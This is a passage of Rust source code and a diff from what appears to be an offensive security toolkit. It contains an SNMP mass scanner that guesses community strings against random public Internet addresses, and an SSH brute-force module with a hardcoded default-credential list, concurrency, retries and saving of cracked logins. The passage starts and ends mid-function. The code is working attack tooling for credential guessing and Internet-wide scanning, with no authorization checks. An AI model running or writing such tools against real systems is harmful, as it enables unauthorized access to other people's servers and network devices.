let mut len_bytes = Vec::new();
|
||||
|
||||
while len > 0 {
|
||||
len_bytes.push((len & 0xFF) as u8);
|
||||
len >>= 8;
|
||||
num_bytes += 1;
|
||||
}
|
||||
|
||||
// Reverse to get big-endian representation
|
||||
len_bytes.reverse();
|
||||
|
||||
// First byte: 0x80 | number of length bytes
|
||||
result.push(0x80 | (num_bytes as u8));
|
||||
result.extend_from_slice(&len_bytes);
|
||||
}
|
||||
|
||||
result.extend_from_slice(value);
|
||||
result
|
||||
}
|
||||
|
||||
/// Encodes an integer as a TLV (signed integer, but we use it for unsigned values)
|
||||
fn encode_integer_tlv(value: u32) -> Vec<u8> {
|
||||
let mut bytes = Vec::new();
|
||||
if value == 0 {
|
||||
bytes.push(0);
|
||||
} else {
|
||||
let mut val = value;
|
||||
// Encode as big-endian, using minimum number of bytes
|
||||
// For values that would have high bit set, we need an extra zero byte
|
||||
// to ensure it's interpreted as positive
|
||||
while val > 0 {
|
||||
bytes.push((val & 0xFF) as u8);
|
||||
val >>= 8;
|
||||
}
|
||||
bytes.reverse();
|
||||
|
||||
// If high bit is set, prepend 0x00 to make it positive
|
||||
if bytes[0] & 0x80 != 0 {
|
||||
bytes.insert(0, 0x00);
|
||||
}
|
||||
}
|
||||
build_tlv(0x02, &bytes) // 0x02 = INTEGER
|
||||
}
|
||||
|
||||
/// Encodes OID value (without the TLV wrapper)
|
||||
fn encode_oid_value(oid: &[u32]) -> Vec<u8> {
|
||||
let mut encoded = Vec::new();
|
||||
if oid.len() >= 2 {
|
||||
// First two sub-identifiers are encoded as: first * 40 + second
|
||||
encoded.push((oid[0] * 40 + oid[1]) as u8);
|
||||
for &sub_id in &oid[2..] {
|
||||
encode_sub_id(sub_id, &mut encoded);
|
||||
}
|
||||
}
|
||||
encoded
|
||||
}
|
||||
|
||||
|
||||
/// Encodes a sub-identifier using base-128 encoding
|
||||
fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
|
||||
let mut bytes = Vec::new();
|
||||
if value == 0 {
|
||||
bytes.push(0);
|
||||
} else {
|
||||
while value > 0 {
|
||||
bytes.push((value & 0x7F) as u8);
|
||||
value >>= 7;
|
||||
}
|
||||
bytes.reverse();
|
||||
// Set high bit on all but last byte
|
||||
for i in 0..bytes.len() - 1 {
|
||||
bytes[i] |= 0x80;
|
||||
}
|
||||
}
|
||||
output.extend_from_slice(&bytes);
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Run mass scan logic (Hose style)
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
|
||||
|
||||
// Get API config
|
||||
let config = crate::config::get_module_config();
|
||||
let api_mode = config.is_api_mode();
|
||||
|
||||
let port = config.port.unwrap_or_else(|| {
|
||||
if api_mode { 161 } else { prompt_int_range("SNMP Port", 161, 1, 65535).unwrap_or(161) as u16 }
|
||||
});
|
||||
|
||||
let communities_file = config.username_wordlist.clone().ok_or_else(|| {
|
||||
anyhow!("username_wordlist (community strings) required")
|
||||
}).or_else(|_| {
|
||||
if api_mode { Err(anyhow!("username_wordlist required for API mode")) }
|
||||
else { prompt_existing_file("Community string wordlist") }
|
||||
})?;
|
||||
|
||||
// In API mode, default to SNMPv2c
|
||||
let snmp_version = if api_mode { 1 } else {
|
||||
loop {
|
||||
let input = prompt_default("SNMP Version (1 or 2c)", "2c").unwrap_or_else(|_| "2c".to_string());
|
||||
match input.trim().to_lowercase().as_str() {
|
||||
"1" => break 0,
|
||||
"2c" | "2" => break 1,
|
||||
_ => println!("Invalid version. Enter '1' or '2c'."),
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let communities = load_lines(&communities_file)?;
|
||||
if communities.is_empty() {
|
||||
return Err(anyhow!("Community wordlist cannot be empty"));
|
||||
}
|
||||
|
||||
let concurrency = config.concurrency.unwrap_or_else(|| {
|
||||
if api_mode { 500 } else { prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).unwrap_or(500) as usize }
|
||||
});
|
||||
let verbose = config.verbose.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
|
||||
});
|
||||
let timeout_secs = if api_mode { 3 } else { prompt_int_range("Timeout (seconds)", 3, 1, 300).unwrap_or(3) as u64 };
|
||||
let output_file = config.output_file.clone().unwrap_or_else(|| {
|
||||
if api_mode { "snmp_mass_results.txt".to_string() }
|
||||
else { prompt_default("Output result file", "snmp_mass_results.txt").unwrap_or_else(|_| "snmp_mass_results.txt".to_string()) }
|
||||
});
|
||||
|
||||
// In API mode, always exclude private ranges
|
||||
let use_exclusions = if api_mode { true } else { prompt_yes_no("Exclude reserved/private ranges?", true).unwrap_or(true) };
|
||||
|
||||
// Parse exclusions
|
||||
let exclusions = if use_exclusions {
|
||||
println!("{}", format!("[+] Loaded {} exclusion ranges", EXCLUDED_RANGES.len()).cyan());
|
||||
Arc::new(parse_exclusions(EXCLUDED_RANGES))
|
||||
} else {
|
||||
Arc::new(Vec::new())
|
||||
};
|
||||
|
||||
// Shared State
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
let creds_pkg = Arc::new((communities, snmp_version, timeout_secs));
|
||||
|
||||
// Stats Reporter
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} SNMP devices found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
if run_random {
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File mode
|
||||
let content = match tokio::fs::read_to_string(target).await {
|
||||
Ok(c) => c,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Failed to read target file: {}", e).red());
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
let ip_addr = match ip_str.parse::<IpAddr>() {
|
||||
Ok(ip) => Some(ip),
|
||||
Err(_) => None
|
||||
};
|
||||
|
||||
tokio::spawn(async move {
|
||||
if let Some(ip) = ip_addr {
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
|
||||
// Wait for finish
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
port: u16,
|
||||
creds: Arc<(Vec<String>, u8, u64)>,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
_verbose: bool,
|
||||
) {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let (communities, version, timeout_secs) = &*creds;
|
||||
let timeout = Duration::from_secs(*timeout_secs);
|
||||
|
||||
for community in communities {
|
||||
match try_snmp_community(&addr, community, *version, timeout).await {
|
||||
Ok(true) => {
|
||||
let result_str = format!("{} -> community: '{}'", addr, community);
|
||||
println!("\\r{}", format!("[+] FOUND: {}", result_str).green().bold());
|
||||
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&output_file)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(format!("{}\\n", result_str).as_bytes()).await;
|
||||
}
|
||||
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return; // Stop on first valid community for this host
|
||||
}
|
||||
Ok(false) => {
|
||||
// Auth failure
|
||||
}
|
||||
Err(_) => {
|
||||
// Connection error
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,94 +1,246 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::{TcpStream, ToSocketAddrs},
|
||||
path::{Path, PathBuf},
|
||||
net::TcpStream,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
sync::Arc,
|
||||
time::Duration,
|
||||
io::Write,
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use regex::Regex;
|
||||
use tokio::{sync::Mutex, task::spawn_blocking, time::{sleep, Duration}};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
task::spawn_blocking,
|
||||
time::{sleep, timeout},
|
||||
};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_yes_no,
|
||||
prompt_existing_file, load_lines, get_filename_in_current_dir, prompt_port
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
// Constants
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("root", "root"),
|
||||
("admin", "admin"),
|
||||
("user", "user"),
|
||||
("guest", "guest"),
|
||||
("root", "123456"),
|
||||
("admin", "123456"),
|
||||
("root", "password"),
|
||||
("admin", "password"),
|
||||
("root", ""),
|
||||
("admin", ""),
|
||||
("ubuntu", "ubuntu"),
|
||||
("test", "test"),
|
||||
("oracle", "oracle"),
|
||||
];
|
||||
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== SSH Brute Force Module ===");
|
||||
println!("{}", "=== SSH Brute Force Module ===".bold());
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("SSH Port", "22")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
}
|
||||
// Check for API-provided config
|
||||
let config = crate::config::get_module_config();
|
||||
let api_mode = config.is_api_mode();
|
||||
|
||||
let port: u16 = if let Some(p) = config.port {
|
||||
p
|
||||
} else {
|
||||
prompt_port("SSH Port", DEFAULT_SSH_PORT)?
|
||||
};
|
||||
|
||||
let usernames_file = prompt_existing_file("Username wordlist")?;
|
||||
let passwords_file = prompt_existing_file("Password wordlist")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
// In API mode, skip default credentials question and use wordlists directly
|
||||
let use_defaults = if api_mode { false } else { prompt_yes_no("Try default credentials first?", true)? };
|
||||
|
||||
let usernames_file = if let Some(ref f) = config.username_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Username wordlist not found: {}", f));
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ssh_brute_results.txt")?)
|
||||
Some(f.clone())
|
||||
} else if api_mode {
|
||||
None
|
||||
} else if prompt_yes_no("Use username wordlist?", true)? {
|
||||
Some(prompt_existing_file("Username wordlist")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if let Some(ref f) = config.password_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Password wordlist not found: {}", f));
|
||||
}
|
||||
Some(f.clone())
|
||||
} else if api_mode {
|
||||
None
|
||||
} else if prompt_yes_no("Use password wordlist?", true)? {
|
||||
Some(prompt_existing_file("Password wordlist")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
let connect_addr = normalize_target(target, port)?;
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency: usize = config.concurrency.unwrap_or_else(|| {
|
||||
if api_mode { 10 } else {
|
||||
loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10").unwrap_or_else(|_| "10".to_string());
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 && n <= 256 => return n,
|
||||
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
let connection_timeout: u64 = if api_mode {
|
||||
10
|
||||
} else {
|
||||
loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "5").unwrap_or_else(|_| "5".to_string());
|
||||
match input.parse::<u64>() {
|
||||
Ok(n) if n >= 1 && n <= 60 => break n,
|
||||
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let retry_on_error = if api_mode { true } else { prompt_yes_no("Retry on connection errors?", true)? };
|
||||
let max_retries: usize = if retry_on_error {
|
||||
if api_mode { 2 } else {
|
||||
loop {
|
||||
let input = prompt_default("Max retries per attempt", "2").unwrap_or_else(|_| "2".to_string());
|
||||
match input.parse::<usize>() {
|
||||
Ok(n) if n > 0 && n <= 10 => break n,
|
||||
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success = config.stop_on_success.unwrap_or_else(|| {
|
||||
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
|
||||
});
|
||||
let save_results = config.save_results.unwrap_or_else(|| {
|
||||
if api_mode { true } else { prompt_yes_no("Save results to file?", true).unwrap_or(true) }
|
||||
});
|
||||
let save_path = if save_results {
|
||||
Some(config.output_file.clone().unwrap_or_else(|| {
|
||||
if api_mode { "ssh_brute_results.txt".to_string() } else { prompt_default("Output file", "ssh_brute_results.txt").unwrap_or_else(|_| "ssh_brute_results.txt".to_string()) }
|
||||
}))
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = config.verbose.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
|
||||
});
|
||||
let combo_mode = config.combo_mode.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Combination mode? (try every pass with every user)", false).unwrap_or(false) }
|
||||
});
|
||||
|
||||
let connect_addr = normalize_target(&format!("{}:{}", target, port)).unwrap_or_else(|_| format!("{}:{}", target, port));
|
||||
|
||||
println!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
println!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
println!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
println!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
// Calculate total attempts
|
||||
let total_attempts = if combo_mode {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
passwords.len()
|
||||
};
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", connect_addr);
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
let passwords = load_lines(&passwords_file)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let users = Arc::new(users);
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let mut user_cycle_idx = 0usize;
|
||||
|
||||
for pass in passwords {
|
||||
for pass in passwords.iter() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let selected_users: Vec<String> = if combo_mode {
|
||||
users.iter().cloned().collect()
|
||||
usernames.iter().cloned().collect()
|
||||
} else {
|
||||
if users.is_empty() {
|
||||
if usernames.is_empty() {
|
||||
Vec::new()
|
||||
} else {
|
||||
let user = users[user_cycle_idx % users.len()].clone();
|
||||
let user = usernames[user_cycle_idx % usernames.len()].clone();
|
||||
user_cycle_idx += 1;
|
||||
vec![user]
|
||||
}
|
||||
};
|
||||
|
||||
if selected_users.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
for user in selected_users {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
@@ -98,214 +250,231 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let unknown_clone = Arc::clone(&unknown);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let semaphore_clone = semaphore.clone();
|
||||
let timeout_clone = timeout_duration;
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
let retry_flag = retry_on_error;
|
||||
let max_retries_clone = max_retries;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_ssh_login(&addr_clone, &user_clone, &pass_clone).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
// Acquire semaphore permit inside the spawned task
|
||||
let _permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
let mut retries = 0;
|
||||
loop {
|
||||
match try_ssh_login(&addr_clone, &user_clone, &pass_clone, timeout_clone).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green());
|
||||
let mut found_guard = found_clone.lock().await;
|
||||
// Check if already found to avoid duplicates
|
||||
let entry = (addr_clone.clone(), user_clone.clone(), pass_clone.clone());
|
||||
if !found_guard.contains(&entry) {
|
||||
found_guard.push(entry);
|
||||
}
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
break;
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
|
||||
}
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
if retry_flag && retries < max_retries_clone {
|
||||
retries += 1;
|
||||
stats_clone.record_retry();
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[!] {} -> {}:{} (retry {}/{}) - {}",
|
||||
addr_clone,
|
||||
user_clone,
|
||||
pass_clone,
|
||||
retries,
|
||||
max_retries_clone,
|
||||
msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
sleep(Duration::from_millis(500)).await;
|
||||
continue;
|
||||
} else {
|
||||
{
|
||||
let mut unk = unknown_clone.lock().await;
|
||||
unk.push((
|
||||
addr_clone.clone(),
|
||||
user_clone.clone(),
|
||||
pass_clone.clone(),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
addr_clone, user_clone, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
}
|
||||
}
|
||||
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
// Wait for all tasks with FuturesUnordered
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
println!("\n{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
println!("\n{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
// Use std::fs::File for simple writing
|
||||
use std::fs::File;
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, user, pass) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{}", host, user, pass)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
file.flush()?;
|
||||
println!("{}", format!("[+] Results saved to '{}'", filename.display()).green());
|
||||
}
|
||||
}
|
||||
|
||||
drop(creds);
|
||||
|
||||
// Unknown / errored attempts
|
||||
let unknown_guard = unknown.lock().await;
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored SSH responses.",
|
||||
unknown_guard.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if prompt_yes_no("Save unknown responses to file?", true)? {
|
||||
let default_name = "ssh_unknown_responses.txt";
|
||||
let fname = prompt_default(
|
||||
&format!(
|
||||
"What should the unknown results be saved as? (default: {})",
|
||||
default_name
|
||||
),
|
||||
default_name,
|
||||
)?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::fs::File;
|
||||
match File::create(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# SSH Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in unknown_guard.iter() {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
async fn try_ssh_login(
|
||||
normalized_addr: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let user_owned = user.to_string();
|
||||
let pass_owned = pass.to_string();
|
||||
let addr_owned = normalized_addr.to_string();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
match TcpStream::connect(&addr_owned) {
|
||||
Ok(tcp) => {
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
sess.handshake()?;
|
||||
match sess.userauth_password(&user_owned, &pass_owned) {
|
||||
Ok(_) => Ok(sess.authenticated()),
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
|
||||
}
|
||||
})
|
||||
.await??;
|
||||
let handle = spawn_blocking(move || {
|
||||
let tcp = TcpStream::connect(&addr_owned)
|
||||
.map_err(|e| anyhow!("Connection error: {}", e))?;
|
||||
|
||||
let mut sess = Session::new()
|
||||
.map_err(|e| anyhow!("Failed to create SSH session: {}", e))?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
|
||||
sess.handshake()
|
||||
.map_err(|e| anyhow!("SSH handshake failed: {}", e))?;
|
||||
|
||||
sess.userauth_password(&user_owned, &pass_owned)
|
||||
.map_err(|e| anyhow!("Authentication failed: {}", e))?;
|
||||
|
||||
Ok(sess.authenticated())
|
||||
});
|
||||
|
||||
Ok(result)
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
|
||||
let trimmed = host.trim();
|
||||
let caps = re
|
||||
.captures(trimmed)
|
||||
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
|
||||
let addr = caps.name("addr").unwrap().as_str();
|
||||
let port = if let Some(m) = caps.name("port") {
|
||||
m.as_str()
|
||||
.parse::<u16>()
|
||||
